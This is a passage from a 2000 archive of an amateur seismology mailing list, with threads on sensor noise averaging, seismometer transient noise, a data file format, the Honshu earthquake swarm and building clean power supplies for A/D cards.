Subject: Re: Noise Reduction From: John Hernlund hernlund@....... Date: Fri, 30 Jun 2000 15:39:49 -0700 (MST) On Fri, 30 Jun 2000, Doug Crice wrote: > I'll let one of our mathmaticians answer that one. When you get to a > certain point in life, you remember the results but not the derivation, > especially in statistics. I believe that the basic problem is that each > sensor picks up some random noise along with the signal. So when you > add up the signal from N sensors you also add up N sets of random > noise. When random noise signals are added they get bigger by square > root of N. The signal gets bigger by N so signal-to-noise improves > N/(square root of N). > I don't know the answer in Winquake. > Doug Doug is basically right. The whole concept revolves around the central theorem of statistics: "the mean value theorem." The square root of N term comes in to describe the "spread" or "deviation" in the data using some kind of distribution model. Different distributions are used for different types of random processes. All the theorem says is that the variance goes sufficiently close to zero as the number of samples becomes close to infinity. Most random processes have a decreasing spread that goes roughly as: spread = constant/sqrt(N) The constant will depend on other parameters. Note that this converges very slowly. This is the limiting factor in a type of computation called "Monte Carlo Methods" which use probability and random processes to model or compute very complicated situations. They converge too slow for most people's taste however. But we use this method to calculate the 3-D FFT integral for transmission electron microscopy to get a good estimate of the brightness for diffraction spots. Anyways... John Hernlund E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Noise Reduction From: ChrisAtUpw@....... Date: Fri, 30 Jun 2000 21:08:15 EDT Dick Webb, The Infrasound CTBT Stations use three sensors in a more or less equilateral triangle with a fourth in the centre. They look for cross correlation between the four signals assuming that the sound source comes from one direction, scanning 360 Deg and at a range of propagation velocities, by storing and then addressing signals taken at different times. Whether you would want to a) fund the hardware which includes a serious amount of computer power and b) could get hold of / write suitable software, is your decision, but the system does apparently work. The root N reduction in noise only applies to random noise. If the 'noise' isn't random, or is common to two or more sensors although with different phases, it may or may not add, just like signal. I have a 12 bit A/D converter, but it is noisy, so I can only rely on it to 10 bit accuracy. If the input signal stays the same, averaging 4 separate conversions will give me ~11 bit accuracy. To get ~12 bit accuracy I have to average 16 conversions (minimum). To be absolutely certain of 12 bit accuracy, I have to average 64 conversions..... I wrote a short programme storing and averaging the data stream to convince myself that this would work and it does. If your 16 bit A/D converter is noisy, keep it working hard! Have you tried altering the bandpass of your electronic filters, or maybe having two sets of filters and comparing the outputs? How about recording a higher frequency 'environmental noise' channel so that you can try to identify false signals? Could this give you the best improvement / cost + effort? Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Noise Reduction From: Dick Webb dwebb2@.............. Date: Sat, 01 Jul 2000 08:19:49 -0400 Thanks, My old and hated statistics class is coming back to me. I agree that I could filter or band pass most of the noise. My interest in combining the seismometer outputs arose mainly because I have the 3 seismometers and I wanted to get the most from them (I'm the guy who hoped that you could convert a vertical to horizontal). If it is possible to combine the outputs after signal processing, why would it not be possible to do it with the raw signals, i.e. directly out of the units. Wouldn't you be looking as a sum of the voltages? Dick __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Noise Reduction From: ChrisAtUpw@....... Date: Sat, 1 Jul 2000 13:48:40 EDT Dick Webb, > I agree that I > could filter or band pass most of the noise. My interest in combining the > seismometer outputs arose mainly because I have the 3 seismometers and I > wanted to get the most from them. If it is possible to combine the > outputs after signal processing, why would it not be possible to do it with > the raw signals.... ? Sure you can average the voltages OK. No problem if all the instruments have roughly the same response and are only a few hundred feet apart. You need to check that no one is much noisier than any other, or it's noise will dominate the output and also that they all respond to a distant quake with the same polarity signal. If the noise is random you might get a reduction of 1/root3 i.e. ~ 42% reduction. I suggested filtering / recording environmental noise as this can give a much greater reduction and may allow you to identify peaks in the 'earthquake' recording caused by environmental noise which might otherwise be more difficult to interpret. The quick way to find out is to hitch up another OP-AMP..... but don't expect to see a large difference. Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: vbb transient noise From: S-T Morrissey sean@........... Date: Sat, 1 Jul 2000 15:47:00 -0500 (CDT) Barry, Sorry I have not responded sooner, but an emergency came up when a contractor tore up the fiber-optic cable linking the processors at the IRIS station CCM. I've ended up replacing about 100 meters of cable, making new "pipe vaults" for the connections that have to survive flooding 10 to 12 meters deep. Hopefully the additional splice in the 2.4km cable will not push our optical power budget. Regarding LP transient noise from your VBB vertical. This is not an uncommon problem with broadband seismometers operating at extended periods, like in excess of 20 seconds. THe longer the operating period, the more sensitive the sensor is to steps in displacement, which show up in the velocity output as one-sided lumps with about the duration of the integrator period. I can only guess at some possible causes, so I will pass on my experience for everyone's benefit. The manufacturers of commercial broadband sensors actually suggest being tolerant of these transients during the "settling in" period of the instrument, which may last several weeks as all the parts come into thermal equalibrium and mechanical stresses dissipate. Of course, the same is true for the enclosure, pier, vault, etc., even the lay of the cable to the seis is of concern. Once an installed instrument has established itself as reliably quiet, the sudden incidence of transient noise can be attributed to either the electronics of the feedback, the mechanics of the sensor, the immediate environment (covers, cable, vault), or the regional environment. You mention seeing similar transients on a station in Norway. This would be pure coincidence. As you know, the only transient-like or one-sided impulsive phases would be direct compressive arrivals of teleseismic quakes: most of the energy from distant quakes that a broadband would record are long sequences of super-imposed sine waves that would follow the direct waves on most of the broadband sensors worldwide. Assuming that the electronics worked OK when it was installed, the main source of transients is dampness in the enclosure, which particularly affects the high impedances of the integrator. Intermittent conduction of contamination, like fingerprints, can be a problem. The STS-1 integrator components are actually mounted on ceramic standoffs to deal with this. Although seismometers are generally installed in dark, damp, moldy places, even in dripping caverns, no amount of dampness within the system can be tolerated; the enclosure should be sealed, using vapor tight connectors (or seal them with silica gel around the inside terminals). The enclosure(s) should be desiccated with several units of diatomacious earth (cheaper than silica gel) and an indicator strip should be installed to indicate that the desiccant is active. (I shocked some people by drilling 1.5" viewports in the covers of the Streckheisn electronics enclosure so I could install the indicator inside them). The desiccant can absorb about 1cc of water per unit; with 5 units in the 8"x10"x3" box, it stays active for about 5 years in the dampness of a cavern. In my opinion, there is little point using desiccant without the humidity indicator strips. (from Humidial Corp.) The connectors should also be (or be made) weather tight. Some have O ring seals, which are good only until the connector is dropped on the dirt floor. If I have any doubt, I use stretched self-vulcanizing tape over-wrapped with vinyl electrical tape that can be cut away if/when the connection has to be removed. The seismometer enclosure itself should also be sealed and desiccated if it is in a damp environment. The desiccant needs to be secured so that as it expands it doesn't touch any moving part. If the seis enclosure is tight enough to stay dry, it will also be spider and waterbug proof. Bugs can make interesting transients. I use wide, thin foam weatherstrip to seal the cover; it does breathe slightly along its length, which is preferable to absolute seals that might equalize barometric pressure through a pinhole with a little jet that blows the mass around. Another problem has occurred with commercial seismometers that use large capacitive transducers with close (0.2mm) clearances. ANY contamination, like an eyelash, will cause contact. A recurring problem has been peeling adhesives or coatings. These are often detected by strong local vibration, like a good stomp, that causes a transient. For the speaker coil/magnet transducer, small magnetic slivers on the poles can cause this. I use an inside-out strip of masking tape to repeatedly clean the magnet gap as well as to ensure that there are no dog hairs on the coil. For the home-made seis, another problem can arise from the flexures, especially if they are epoxied in place. They may be coming unglued from improper cleaning at assembly, or some residual excess glue might be in the flexing area. I haven't had this problem with the later versions of the large vertical. Of course, any spontaneous mechanical change of the moving system results in a transient; often these are bidirectional micropositioning due to temperature changes. You mention that you suspect changes in the slab under the seis, possibly due to temperature or drying out. This is always possible, but unless the cause is really obvious, like desiccation cracks, I would expect slow changes rather than transients. If there are large enough dimensional changes, the feet of the seis base may be moving on the slab; we always use glass plates under the feet to allow for smooth differential expansion; these are often epoxied to the pier or slab surface. Highly glazed ceramic tiles will also do; I used them for the top surface of the pier here. Other sources of strange transients from the environment can come from slight movements of the covers, cables, etc. The cable should always approach the seis laying on the pier, making S-turns or possibly a circle around the seis. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: vbb transient noise From: barry lotz gbl@....... Date: Sat, 01 Jul 2000 13:21:18 -0700 Sean Thomas Thanks for the valuable assistance wrt transient sources. Sometimes I get so concerned about getting the sensor to work properly that the subtile considerations are overlooked. Also I find that when the sensor is working properly I don't want to disturb it for fear of having to go thru all the effort in getting it running correctly again. I guess if one is going to operate a homegrown sensor(s) one has to resolve to disturb it's operation to experiment with improvements. As probably happened with many others, that's when a large event occurs. Thanks again Barry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Mars photos From: meredith lamb mlamb1@.......... Date: Sun, 02 Jul 2000 11:30:33 -0700 Hi all, OK.....it turns out that nothing photo wise hasn't been relatively brought up and speculated on or explained on the Mars pictures. Perhaps the best web site for viewing a large variety of features (12 page list of highlights, subjects, and better pictures) is at: http://www.msss.com/mars_images/moc/MENUS/moc_by_date.html Still.....its fun to pot shoot their maps....one never knows....ha. Take care, Meredith Lamb __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: New PSN event file format. From: Larry Cochrane cochrane@.............. Date: Sun, 02 Jul 2000 15:18:28 -0700 All, I made a few changes to the format (see http://www.seismicnet.com/psn4tbl.html) based on the comments from Edward. All floats have been changed to doubles and I changed some bytes and shorts to longs. The variable length section can now have data fields larger then 255 bytes. At 06:01 PM 6/29/00 -0600, Edward wrote: >With respect to the "DateTime Structure", I would suggest that since you are >using a "long" to store the fraction of seconds, you might as well store >nanoseconds. I mean, if you got, i.e., the precision, why not flaunt it? I renamed the field to nanoseconds. >you >never know when you'll need it. Also, it would be useful to include a clock >correction in seconds as a double (type/length) that could be added to the >nominal time that the samples were originally time-stamped with when recorded. >Particularly in the case of "unlocked" data, that estimate of true time might be >fuzzy and controversial. It seems to me that the start time should already include this information. Basically the start time of the first sample is based on the best information the data logger has at the time it saves the data to disk. > >> The next sections is the seismogram data. The data array can be either 16 >> bit integer, 32 bit integer or floating point. After the data is two CRC-16 >> bytes. This is used to verify the integrity of the headers and data sections. > >Do you mean dis dat or dat one? When referring to the discrete values of the >recorded seismic timeseries, I always try to use the word "samples" rather than >"data" to distinguish them from the other data, such as time-stamps, instrument >constants, or station info. I changed some of the places where I used the word data to samples. >Two thoughts: > >1) To avoid worrying about the different "Type/Length" of parameters, all >parameters -- other than the "Variable Length" info -- could be stored in the >form of the most inclusive type: 8-byte double floats. Though this will waste >some space -- which will be small compared to the data-mass of the samples -- its >uniformity will be easier to program and it will accomodate future upgrades of >parameter precision. Done. > >2) As I said in a presentation at the IRIS workshop in 1983 that was held to >launch the PASSCAL Program: "seismic data is like nuclear waste: both need to be >stored in dumps while awaiting processing", and we need a "Cosmic Database" to >store all these data and make them rapidly accessible to all. Got any ideas about >putting it all together, such that all the header info of all event/volume files >can be rapidly queried and the corresponding waveform samples can be retrieved >via the Web? One step at a time.....Any database programmers out there????? -Larry Cochrane Redwood City, PSN __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: New PSN event file format. From: The Lahrs johnjan@........ Date: Sun, 02 Jul 2000 18:52:15 -0600 At 04:18 PM 7/2/00 , you wrote: >All, > >I made a few changes to the format (see >http://www.seismicnet.com/psn4tbl.html) based on the comments from Edward. >All floats have been changed to doubles and I changed some bytes and shorts >to longs. The variable length section can now have data fields larger then >255 bytes. > > Also, it would be useful to include a clock > >correction in seconds as a double (type/length) that could be added to the > >nominal time that the samples were originally time-stamped with when >recorded. > >Particularly in the case of "unlocked" data, that estimate of true time >might be > >fuzzy and controversial. > >It seems to me that the start time should already include this information. >Basically the start time of the first sample is based on the best >information the data logger has at the time it saves the data to disk. Hi Larry, I think the problem is that if the time originally recorded for the first sample is not correct, then it's better to use a correction field than to simply change the number that was originally stored with the file. In that way, one always knows what the original time stamp was and the correction tells how far the clock was off. If you later figure out a better clock correction, then a new correction can be used and you never loose track of what you're doing, or have done. John John C. Lahr 1925 Foothills Road Golden, CO 80402 (303) 215-9913 john@........ http://lahr.org/john-jan/science.html __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Near S. Coast of Honshu, Japan From: meredith lamb mlamb1@.......... Date: Mon, 03 Jul 2000 11:36:16 -0700 Any thoughts on all the continuing quakes in this region from anyone? They seem to be running across a plate tip area, almost like it could be re-defining the plate boundary edge, and/or "breaking" the tip away from the rest of the plate mass? At the continuing rate of quakes over time....something must be going on there....but who knows, they could cease soon too. Anyone know of a web URL, with any english translations to this activity? Thanks, Meredith Lamb __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Near S. Coast of Honshu, Japan From: John Hernlund hernlund@....... Date: Mon, 03 Jul 2000 13:15:22 -0700 (MST) On Mon, 3 Jul 2000, meredith lamb wrote: > Any thoughts on all the continuing quakes in this region from > anyone? > They seem to be running across a plate tip area, almost like > it could be re-defining the plate boundary edge, and/or "breaking" > the tip away from the rest of the plate mass? > At the continuing rate of quakes over time....something must > be going on there....but who knows, they could cease soon too. > Anyone know of a web URL, with any english translations to > this activity? > Thanks, Meredith Lamb Meredith, Japan is probably the best studied seismic region in the world. They have literally carpeted the islands with seismometers. The quakes at shallow parts of the subduction zone show a group of linear trends parallel to the plate motion. Some have interpreted this to be the subduction of sea mounts which scrape along the bottom of Japan as they go down. I saw the plots once before and it looked fairly convincing because the arrangement of these seismicity lineations seems to be distributed geometrically much like the sea mounts to the east. I have also seen some of the most fantastic tomographic plots from Japan. If I come across any good web links I'll let you know where to find them. Most of the east coast of Asia exhibits a phenomenon known as "back-arc spreading." One explanation for this is that as the lithosphere sinks into the upper mantle it pulls some of the mantle above it down, which creates a sort of eddy current above the slab. The eddy then pulls the lithosphere above it along the surface towards the trench, thus causing spreading behind the subduction zone. Japan has a smaller back-arc region behind it than the areas to the south. But it does seem like it will be pulled further from Asia over time along with Kamchatka to the north. The rate of subduction under Japan is fairly high, and will probably persist for a long while to come. The lithosphere sinking to the north is older and cooler than that to the south, which might have helped to create the type of corner you are thinking about. It is interesting to think about back-arc spreading in terms of the western US when the Farallon plate used to go down on the west coast along the entire front. There are a lot of lower basins to the east (i.e. Basin and Range), which might have something to do with this type of activity. The corner of slab extending beneath Japan and under North Korea/far east China might be one of these areas where slabs sink into the upper mantle but begin to pile up at the 660 km discontinuity, awaiting the time when enough weight will be added for a "flushing" event to occur where it falls into the lower mantle. This is very fun stuff to think about... John Hernlund E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Near S. Coast of Honshu, Japan From: Canie canie@........... Date: Mon, 03 Jul 2000 22:23:23 -0700 At 11:36 AM 7/3/00 -0700, you wrote: >Any thoughts on all the continuing quakes in this region from >anyone? This has captured my interest as well - it seemed no surprise that there was a 6.1 with all this activity - I also read an article this morning that said they were evacuating (or lots of folks were leaving) the island where most of these are occurring - I would expect something unusual is happening - Other comments in the news were that some thought the volcanic activity has caused some plates to come 'unglued' so to speak. Here's a good link to earthquake news: http://search.news.yahoo.com/search/news?p=earthquake&n=30 Canie __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Near S. Coast of Honshu, Japan From: John Hernlund hernlund@....... Date: Tue, 04 Jul 2000 11:33:14 -0700 (MST) On Mon, 3 Jul 2000, Canie wrote: > At 11:36 AM 7/3/00 -0700, you wrote: > >Any thoughts on all the continuing quakes in this region from > >anyone? > I would expect something unusual is happening - Other comments in the news > were that some thought the volcanic activity has caused some plates to come > 'unglued' so to speak. > Canie A major idea about subduction zone earthquakes is that the H2O contained in the mineral structures is exsolved after the rocks at the top of the slab reach a certain temperature. This then leaves the rocks and lubricates faults and fractures in the slab, which because it is under stress slips due to the reduction of friction. If there is some kind of big "de-watering" event occurring in the slabs then this could trigger an episode such as this one in Japan. John Hernlund E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: ELF precursor to Honshu Japan From: Arie Verveer ajbv@............ Date: Wed, 05 Jul 2000 10:08:32 +0800 Hi, This may be of interest. For the last three weeks one of my stations channels is an ELF detector (au4). It was set up to confirm or deny some magnetic effects that I observed from a fluxgate magnetometer. But in the process the device has captured some tantalizing traces that may be associated with large quakes. Basically what Charlie Plyler has suggested. See www.elfrad.com Anyhow a good example of such a trace has been sent to the event files. 000704a.au4 on the 7/4/00. It shows increased activity some 4.6 hours before the mb5.4 Honshu quake. Similarly but with less intensity an increase of activity occurred some 2.6 hours for the Honshu Mb6.1 event on the 7/1/00. Maybe the less intensity quake has a better signal due to some heating effects from the previous quakes. Maybe? Also from the Chile earthquake (Mw6.4 6/16/00 7:55:35 UTC) there has been some amazing ELF radiation matches. There appears to be ELF detection as various phases bounce through the same active area 120 km below the surface. As there are no "P" and "S" arrival times the station recorded the event as it happened. So far I've been waiting for another big quake in Chile to confirm these readings. One thing, I get the impression that the deeper quakes show better traces. I would be interested in any views. I for one, believed that ELF radiation would be local to an event, if detected at all. Maybe i'm wrong, I have been known to be. Arie Ps: The file 000704a.au4 is 8 hours long. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: noisy power supply From: Angel Rodriguez angel@............ Date: Tue, 4 Jul 2000 23:44:12 -0500 Hi, I just got me new computer and much to my chagrin now all four of the traces on SDR are much noisier. Little spikes, jus ta few counts. When I turn off the new computer the noise goes away and when turn it on the noise comes back. Obviously one solution is to not turn on the computer. Are there any others? Best regards, Angel mailto:angel@............ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: Larry Cochrane cochrane@.............. Date: Tue, 04 Jul 2000 23:04:38 -0700 Angel and others having this problem, I have noticed this problem with some motherboards. This happens on newer motherboards that have switching power supplies that place a lot of high frequency noise onto the + and/or - 12 volt supply lines. This noise gets into the multiplexor chip and op-amp on the A/D card. About two months ago I started adding two inductors to my A/D card that filters out the problem. The modifications are easy too make, but require some soldering skills. I will create a web page that documents the changes needed to add the inductors if anyone wants to modify their board. Just about any small inductor will work as long as the DC resistance is only a few ohms. If you don't have a supply of inductors at hand I can send you two if you send me an envelope with return postage. If your not into soldering you can send me your A/D board and I will make the modifications for free. All I ask is enough money for return postage. Too see if you are having this problem do the following using SDR. Disconnect the 37 pin connector and press the "1" key and then the "C" key. After a few seconds note the minimum / maximum counts from the A/D converter. If you have a 16 bit A/D chip and the min/max count is greater then +-8 the modification may help. With a 12 bit A/D chip the min/max counts should'nt be higher then +-2. -Larry Cochrane Redwood City, PSN At 11:44 PM 7/4/00 -0500, Angel wrote: > >Hi, > >I just got me new computer and much to my chagrin now all four of the >traces on SDR are much noisier. Little spikes, jus ta few counts. When I turn off the >new computer the noise goes away and when turn it on the noise comes >back. Obviously one solution is to not turn on the computer. Are there >any others? > > >Best regards, > Angel mailto:angel@............ > > >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: 4 June M7.8 Sumatra Earthquake recorded by PSN From: Edward Cranswick cranswick@........ Date: Wed, 05 Jul 2000 02:10:52 -0600 PSN- Just for drill, I put together all the PSN records (all records displayed have been decimated to 0.5 sps or less) of the 4 June M7.8 Sumatra Earthquake http://wwwneic.cr.usgs.gov/neis/bulletin/00_EVENTS/000604162825/000604162825.HTML on one pseudo-recordsection; see ftp://groundmotion.cr.usgs.gov/PSN/event/Sumatra/ PLOT0001.GIF PLOT0002.GIF Low-passed at 0.1 Hz PLOT0003.GIF Low-passed at 0.01 Hz PLOT0004.GIF Low-passed at 0.02 Hz I then did some plots of Meredith's 3-component (vector) records of this event (all three components have been decimated to 0.5555 sps and are plotted at the same amplitude scale): PLOT0005.GIF PLOT0006.GIF Low-passed at 0.01 Hz PLOT0007.GIF Jump first 200 s, plot next 1000 s, low-passed at 0.1 Hz PLOT0008.GIF Jump first 200 s, plot next 1000 s, low-passed at 0.05 Hz PLOT0009.GIF Jump first 200 s, plot next ~10000 s, low-passed at 0.08 Hz PLOT0010.GIF Jump first 200 s, plot next ~10000 s, low-passed at 0.04 Hz PLOT0011.GIF Jump first 200 s, plot next ~10000 s, low-passed at 0.02 Hz PLOT0012.GIF Jump first 200 s, plot next ~10000 s, low-passed at 0.01 Hz Note the differences in amplitudes between the three components for different phases, different frequency bands. -- Edward Cranswick Tel: 303-273-8609 US Geological Survey, MS 966 Fax: 303-273-8600 PO Box 25046, Federal Center cranswick@........ Denver, CO 80225-0046 USA E.M. Forster said, "Only connect". __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: "Mark Robinson" other@............... Date: Wed, 5 Jul 2000 23:10:54 +1200 Power supplies are quite cheap (or free if you have a junk box like mine handy) ... try a few different ones ... It may also be worth while making up a separate plus and minus 12 volt regulated non switch mode power supply for the analogue parts of the electronics. I do this in computers where I need to get clean audio in and out. Mark ----- Original Message ----- From: "Larry Cochrane" To: Sent: Wednesday, 5 July 2000 18:04 Subject: Re: noisy power supply > Angel and others having this problem, > > I have noticed this problem with some motherboards. This happens on newer > motherboards that have switching power supplies that place a lot of high > frequency noise onto the + and/or - 12 volt supply lines. This noise gets > into the multiplexor chip and op-amp on the A/D card. > > About two months ago I started adding two inductors to my A/D card that > filters out the problem. The modifications are easy too make, but require > some soldering skills. I will create a web page that documents the changes > needed to add the inductors if anyone wants to modify their board. Just > about any small inductor will work as long as the DC resistance is only a > few ohms. If you don't have a supply of inductors at hand I can send you > two if you send me > an envelope with return postage. > > If your not into soldering you can send me your A/D board and I will make > the modifications for free. All I ask is enough money for return postage. > > Too see if you are having this problem do the following using SDR. > Disconnect the 37 pin connector and press the "1" key and then the "C" key. > After a few seconds note the minimum / maximum counts from the A/D > converter. If you have a 16 bit A/D chip and the min/max count is greater > then +-8 the modification may help. With a 12 bit A/D chip the min/max > counts should'nt be higher then +-2. > > -Larry Cochrane > Redwood City, PSN > > At 11:44 PM 7/4/00 -0500, Angel wrote: > > > >Hi, > > > >I just got me new computer and much to my chagrin now all four of the > >traces on SDR are much noisier. Little spikes, jus ta few counts. When I > turn off the > >new computer the noise goes away and when turn it on the noise comes > >back. Obviously one solution is to not turn on the computer. Are there > >any others? > > > > > >Best regards, > > Angel mailto:angel@............ > > > > > >__________________________________________________________ > > > >Public Seismic Network Mailing List (PSN-L) > > > >To leave this list email PSN-L-REQUEST@.............. with > >the body of the message (first line only): unsubscribe > >See http://www.seismicnet.com/maillist.html for more information. > > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: CapAAVSO@....... Date: Wed, 5 Jul 2000 09:20:35 EDT In a message dated 7/5/00 7:12:13 AM Eastern Daylight Time, other@............... writes: << It may also be worth while making up a separate plus and minus 12 volt regulated non switch mode power supply for the analogue parts of the electronics. I do this in computers where I need to get clean audio in and out. >> Dual plus and minus power supplies (non-switching) are easily made from parts all of which are usually in stock at your local Radio Shack. Buy two 12.6-volt transformers, Two full-wave bridge rectifiers, Two 1000 mfd electrolitic capacitors, Two 12-volt positive regulators and two 0.1 mfd capacitors. Build two separate 12-volt power supplies and hook them in series to make a +12V, -12V dual power supply. Radio Shack sells a little book about power supplies which you should also buy if you are not sure how to hook the above stuff together. With the help of the little book anybody can build their own dual power supply for far less than an off-the-shelf dual supply would cost. Have fun, Cap __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: John Hernlund hernlund@....... Date: Wed, 05 Jul 2000 14:29:02 -0700 (MST) On Tue, 4 Jul 2000, Angel Rodriguez wrote: > I just got me new computer and much to my chagrin now all four of the > traces on SDR are much noisier. Little spikes, jus ta few counts. When I turn off the > new computer the noise goes away and when turn it on the noise comes > back. Obviously one solution is to not turn on the computer. Are there > any others? > Best regards, > Angel mailto:angel@............ Angel, We often have these problems in our labs. I have an inelegant solution to this problem. I take aluminum foil, cover both sides in paper and tape it shut and wrap it around the data recording portion of the cards. It completely eliminates noise...but it looks like hell. John Hernlund E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: noisy power supply From: Angel Rodriguez angel@............ Date: Wed, 5 Jul 2000 22:33:54 -0500 Hello John, Wednesday, July 05, 2000, 4:29:02 PM, you wrote: JH> We often have these problems in our labs. I have an inelegant solution to JH> this problem. I take aluminum foil, cover both sides in paper and tape it JH> shut and wrap it around the data recording portion of the cards. It JH> completely eliminates noise...but it looks like hell. The new computer that is causing the problem is not even one of the the seismo computers, it's just on the same network. It's an NT machine that routes between my local network and the network that I get my Internet signal from. I had to make an 2.4 ghz link to my house since the nearest phone line is 6 miles away. From your suggestion I assume that it might be that the noise is coming the the air as RF interference. I will try to make some more shielding as you suggest. I have a new 3 component broadband that I have kludged into Larry's board. It's flat between 23 second and 40 Hz. I post the PSN files on an FTP at 200.46.19.178 anonymous no password. For now I have only been collecting data but I hope to start some sort of long term project. If you have any ideas please let me know. I am trying to make the leap between seismometry and seismology. My interest run towards local events since the network run by the University of Panama probably can't see events much below 2.5 Md. Warmly, angel __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re[2]: noisy power supply From: Angel Rodriguez angel@............ Date: Wed, 5 Jul 2000 22:57:44 -0500 Hello CapAAVSO, Wednesday, July 05, 2000, 4:20:35 AM, you wrote: Cac> In a message dated 7/5/00 7:12:13 AM Eastern Daylight Time, Cac> other@............... writes: Cac> << It may also be worth while making up a separate plus and minus 12 volt Cac> regulated non switch mode power supply for the analogue parts of the Cac> electronics. I do this in computers where I need to get clean audio in and Cac> out. >> Cac> Dual plus and minus power supplies (non-switching) are easily made from Cac> parts all of which are usually in stock at your local Radio Shack. Buy two Cac> 12.6-volt transformers, Two full-wave bridge rectifiers, Two 1000 mfd Cac> electrolitic capacitors, Two 12-volt positive regulators and two 0.1 mfd Cac> capacitors. Build two separate 12-volt power supplies and hook them in series Cac> to make a +12V, -12V dual power supply. Radio Shack sells a little book about Cac> power supplies which you should also buy if you are not sure how to hook the Cac> above stuff together. With the help of the little book anybody can build Cac> their own dual power supply for far less than an off-the-shelf dual supply Cac> would cost. Cac> Have fun, Cac> Cap Cac> __________________________________________________________ Cac> Public Seismic Network Mailing List (PSN-L) Cac> To leave this list email PSN-L-REQUEST@.............. with Cac> the body of the message (first line only): unsubscribe Cac> See http://www.seismicnet.com/maillist.html for more information. Hi, I have some -+ 12 volt supplies I have made for other projects. Where should I make the connections?? Do you suggest cutting and splicing the main power connector that goes to the ATX mother board?? This my first ATX computer and it seems that the power is switch on and off a bit differently than on an AT computer. The power off is just a software thing. -- Best regards, Angel mailto:angel@............ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: noisy power supply From: "Charles R. Patton" charles.r.patton@........ Date: Wed, 05 Jul 2000 21:54:05 -0700 I=92ll toss in my two bits. A new computer I purchased last Christmas tore up my wife=92s AM radio listening. The solution was to add an additional AC line filter on the outside of the computer. This was because the switching power supply on the inexpensive off-brand PC switching power supply did not have adequate filtering on the AC line side and the switching noise was radiating throughout the whole house. So you might want to explore that possibility. It sounds as if you=92re picking up some sort of radiated noise. Your LAN connection generally uses isolated transformer coupling and shouldn=92t be able to significantly radiate. Charles R. Patton __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: McWilliams Magnetometer From: The Lahrs johnjan@........ Date: Thu, 06 Jul 2000 08:15:56 -0600 Hi Cap, I received the information you sent me on the McWilliams magnetometer. Would it be OK if I posted this information on my web page? If so, how would I credit the design and the text? My parents live in Brookfield, CT. It would be fun to get together the next time I visit, which will probably be next November. I would love to see all of your instruments. I'm also interested in K-12 education, science fairs, etc. and agree with your posting a while back that if kids get into building their own instruments they will learn more about science than by any other means. Cheers, John >>. If you or anyone else would like a copy a Solar Bulletin that describes the McWilliams magnetometer in detail with drawings and a schematic of the Wheatstone bridge, just send a self addressed envelope to me at my address below and I'll be glad to send you a copy. The photocell displacement transducer might also work quite well on a seismograph. Casper H. Hossfield PO Box 23 New Milford, NY 10959 John C. Lahr 1925 Foothills Road Golden, CO 80402 (303) 215-9913 john@........ http://lahr.org/john-jan/science.html __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Re[2]: noisy power supply From: CapAAVSO@....... Date: Thu, 6 Jul 2000 10:56:10 EDT In a message dated 7/6/00 12:01:48 AM Eastern Daylight Time, angel@............ writes: << I have some -+ 12 volt supplies I have made for other projects. Where should I make the connections?? Do you suggest cutting and splicing the main power connector that goes to the ATX mother board?? This my first ATX computer and it seems that the power is switch on and off a bit differently than on an AT computer. The power off is just a software thing. -- Best regards, Angel mailto:angel@............ >> Hi Angel, The power supplies I described in my email of 07/05/00 made from radio shack parts are described again below: << Dual plus and minus power supplies (non-switching) are easily made from parts all of which are usually in stock at your local Radio Shack. Buy two 12.6 Volt transformers, two full-wave bridge rectifiers, two 1000 mfd electrolytic capacitors, two 12-volt positive voltage regulators and two 0.1 mfd capacitors. Build two separate 12-volt power supplies and hook them together in series to make a +12V, -12V dual power supply. Where they connect together goes to ground. Radio Shack sells a little book about power supplies which you should also buy if you are not sure how to hook the above stuff together. With the help of the little book anybody can build their own dual power supply for far less than an off-the-shelf dual supply would cost.>> These are two separate power supplies not connected to each other in any way, although they can be side by side on the same circuit board. Their outputs are floating, that is, isolated and not connected together as would be the case if you used one center tapped transformer and a negative voltage regulator. Connect the floating minus output of one power supply to the floating plus output of the other power supply. The point where the two connect together should then be connected to ground or neutral in whatever device they provide power for. The other two outputs provide the plus 12V and minus 12V to power the device. A dual + and - 5V supply can be made from two 6.3 Volt transformers and two plus 5 Volt regulators. The reason for using two transformers and two positive voltage regulators is Radio Shack does not carry negative voltage regulators. The above is a way to make one trip to Radio Shack and come home with everything you need to make a good homemade regulated dual power supply for far less money than you 